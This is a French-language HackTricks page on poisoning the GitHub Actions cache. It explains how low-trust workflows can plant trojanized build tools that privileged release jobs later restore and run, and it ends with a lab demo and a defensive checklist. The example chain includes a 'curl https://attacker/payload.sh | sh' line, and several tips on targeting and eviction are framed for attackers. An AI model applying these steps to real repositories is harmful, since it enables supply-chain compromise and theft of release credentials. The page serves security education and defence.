GH Actions - Cache Poisoning
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Aperçu
Le cache GitHub Actions est global Ă un dĂ©pĂŽt. Tout workflow qui connaĂźt une cache key (ou restore-keys) peut alimenter cette entrĂ©e, mĂȘme si le job nâa que permissions: contents: read. GitHub ne segmente pas les caches par workflow, type dâĂ©vĂ©nement ou niveau de confiance, donc un attaquant qui compromet un job Ă faibles privilĂšges peut empoisonner un cache que rĂ©cupĂ©rera ensuite un job de release privilĂ©giĂ©. Câest ainsi que la compromission dâUltralytics a pivotĂ© dâun workflow pull_request_target vers le pipeline de publication sur PyPI.
Primitives dâattaque
actions/cacheexpose Ă la fois des opĂ©rations de restore et de save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Lâappel de save est autorisĂ© pour tout job sauf les workflowspull_requestvraiment non fiables dĂ©clenchĂ©s depuis des forks.- Les entrĂ©es de cache sont identifiĂ©es uniquement par la
key. Desrestore-keyslarges facilitent lâinjection de payloads car lâattaquant nâa quâĂ provoquer une collision sur un prĂ©fixe. - Les
cache keysetversionssont des valeurs spĂ©cifiĂ©es par le client ; le service de cache ne vĂ©rifie pas quâunekey/versioncorresponde Ă un workflow de confiance ou Ă un chemin de cache. - LâURL du serveur de cache + le runtime token ont une durĂ©e de vie longue par rapport au workflow (historiquement ~6 heures, maintenant ~90 minutes) et ne sont pas rĂ©vocables par lâutilisateur. Depuis fin 2024 GitHub bloque les Ă©critures de cache aprĂšs la fin du job dâorigine, donc les attaquants doivent Ă©crire tant que le job est encore en cours ou prĂ©-empoisonner des clĂ©s futures.
- Le systĂšme de fichiers mis en cache est restaurĂ© tel quel. Si le cache contient des scripts ou des binaires qui sont exĂ©cutĂ©s ensuite, lâattaquant contrĂŽle ce chemin dâexĂ©cution.
- Le fichier de cache lui-mĂȘme nâest pas validĂ© lors du restore ; câest simplement une archive compressĂ©e en zstd, donc une entrĂ©e empoisonnĂ©e peut Ă©craser des scripts,
package.jsonou dâautres fichiers sous le chemin de restore.
Exemple de chaĂźne dâexploitation
Le workflow Author (pull_request_target) a empoisonné le cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Privileged workflow a été restauré et a exécuté le poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Le deuxiĂšme job exĂ©cute maintenant du code contrĂŽlĂ© par lâattaquant tout en disposant des identifiants de release (PyPI tokens, PATs, cloud deploy keys, etc.).
Mécanique du Poisoning
Les entrées du cache GitHub Actions sont généralement des archives tar compressées avec zstd. Vous pouvez en créer une localement et la téléverser dans le cache :
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
Sur un cache hit, lâaction de restauration extrait lâarchive telle quelle. Si le chemin du cache contient des scripts ou fichiers de configuration qui seront exĂ©cutĂ©s plus tard (outils de build, action.yml, package.json, etc.), vous pouvez les Ă©craser pour obtenir lâexĂ©cution.
Conseils pratiques dâexploitation
- Ciblez les workflows déclenchés par
pull_request_target,issue_commentou des commandes de bot qui enregistrent encore des caches ; GitHub leur permet dâĂ©craser des clĂ©s couvrant le dĂ©pĂŽt mĂȘme lorsque le runner nâa quâun accĂšs en lecture au repo. - Recherchez des clĂ©s de cache dĂ©terministes rĂ©utilisĂ©es au-delĂ des frontiĂšres de confiance (par exemple,
pip-${{ hashFiles('poetry.lock') }}) ou desrestore-keyspermissifs, puis enregistrez votre tarball malveillant avant que le workflow privilĂ©giĂ© ne sâexĂ©cute. - Surveillez les logs pour des entrĂ©es
Cache savedou ajoutez votre propre étape de sauvegarde de cache afin que le job de release suivant restaure la charge utile et exécute les scripts ou binaires trojanized.
Nouvelles techniques observées dans la chaßne Angular (2026)
- Cache v2 âprefix hitâ behavior : Dans Cache v2, des misses exacts peuvent tout de mĂȘme restaurer une autre entrĂ©e partageant le mĂȘme prĂ©fixe de clĂ© (effectivement âall keys are restore keysâ). Les attaquants peuvent prĂ©-semer des clĂ©s quasi-collision pour quâun futur miss retombe sur lâobjet empoisonnĂ©.
- Forced eviction in one run : Depuis le 20 novembre 2025, GitHub Ă©vince les entrĂ©es immĂ©diatement lorsque lâutilisation du cache du dĂ©pĂŽt dĂ©passe la limite (10 GB par dĂ©faut). Un attaquant peut dâabord tĂ©lĂ©verser des donnĂ©es de cache inutiles, Ă©vincer les entrĂ©es lĂ©gitimes pendant le mĂȘme job, puis Ă©crire la clĂ© de cache malveillante sans attendre le cycle de nettoyage quotidien.
setup-nodecache pivots via reusable actions : Les actions rĂ©utilisables/internes qui enveloppentactions/setup-nodeaveccache-dependency-pathpeuvent relier silencieusement des workflows Ă faible confiance et Ă haute confiance. Si les deux chemins hachent vers des clĂ©s partagĂ©es, empoisonner le cache de dĂ©pendances peut sâexĂ©cuter dans lâautomatisation privilĂ©giĂ©e (par exemple les jobs Renovate/bot).- Chaining cache poisoning into bot-driven supply chain abuse : Dans le cas Angular, le cache poisoning a exposĂ© un PAT de bot, qui a ensuite permis de force-push des heads de PR appartenant au bot aprĂšs approbation. Si les rĂšgles de remise Ă zĂ©ro des approbations exemptent les acteurs bot, cela permet de remplacer des commits revus par des commits malveillants (par exemple imposter action SHAs) avant le merge.
##Ă„ Cacheract
Cacheract est un toolkit orientĂ© PoC pour le cache poisoning de GitHub Actions dans le cadre de tests autorisĂ©s. Sa valeur pratique est dâautomatiser les parties fragiles faciles Ă rater manuellement :
- Détecter et utiliser le contexte runtime du cache depuis le runner (
ACTIONS_RUNTIME_TOKENet lâURL du service de cache). - ĂnumĂ©rer et cibler les clĂ©s/versions candidates de cache utilisĂ©es par les workflows en aval.
- Forcer lâĂ©viction en saturant le quota de cache (lorsque pertinent) puis Ă©crire des entrĂ©es contrĂŽlĂ©es par lâattaquant dans la mĂȘme exĂ©cution.
- Semer du contenu de cache empoisonné pour que les workflows ultérieurs restaurent et exécutent des outils modifiés.
Ceci est particuliĂšrement utile dans les environnements Cache v2 oĂč le timing et le comportement des clĂ©s/versions importent davantage que dans les premiĂšres implĂ©mentations du cache.
Démo
Nâutilisez ceci que dans des dĂ©pĂŽts que vous possĂ©dez ou que vous ĂȘtes explicitement autorisĂ© Ă tester.
1. Vulnerable workflow (untrusted trigger can save cache)
Ce workflow simule un anti-pattern pull_request_target : il Ă©crit du contenu de cache depuis un contexte contrĂŽlĂ© par lâattaquant et lâenregistre sous une clĂ© dĂ©terministe.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Workflow privilégié (restaure et exécute un binaire/script mis en cache)
Ce workflow restaure la mĂȘme clĂ© et exĂ©cute toolchain/bin/build tout en dĂ©tenant un secret factice. Si le cache est empoisonnĂ©, le chemin dâexĂ©cution est contrĂŽlĂ© par lâattaquant.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Exécuter le labo
- Ajoutez un fichier stable
toolchain.lockafin que les deux workflows rĂ©solvent la mĂȘme cache key. - DĂ©clenchez
untrusted-cache-writerdepuis un PR de test. - Déclenchez
privileged-consumerviaworkflow_dispatch. - Confirmez que
POISONED_BUILD_PATHapparaßt dans les logs et que/tmp/cache-poisoning-demo.txtest créé.
4. Ce que cela démontre techniquement
- Rupture de confiance du cache entre workflows: Les workflows writer et consumer nâont pas le mĂȘme niveau de confiance, mais ils partagent le mĂȘme namespace de cache.
- Risque dâexĂ©cution lors de la restauration: Aucune validation dâintĂ©gritĂ© nâest effectuĂ©e avant dâexĂ©cuter un script/binaire restaurĂ©.
- Abus de clés déterministes: Si un job à haute confiance utilise des clés prévisibles, un job à faible confiance peut prépositionner du contenu malveillant.
5. Checklist de vérification défensive
- Séparer les clés selon la frontiÚre de confiance (
pr-,ci-,release-) et éviter les préfixes partagés. - Désactiver les écritures de cache dans les workflows non fiables.
- Hacher/valider le contenu exĂ©cutable restaurĂ© avant de lâexĂ©cuter.
- Ăviter dâexĂ©cuter des outils directement depuis les chemins de cache.
Références
- A Survey of 2024â2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

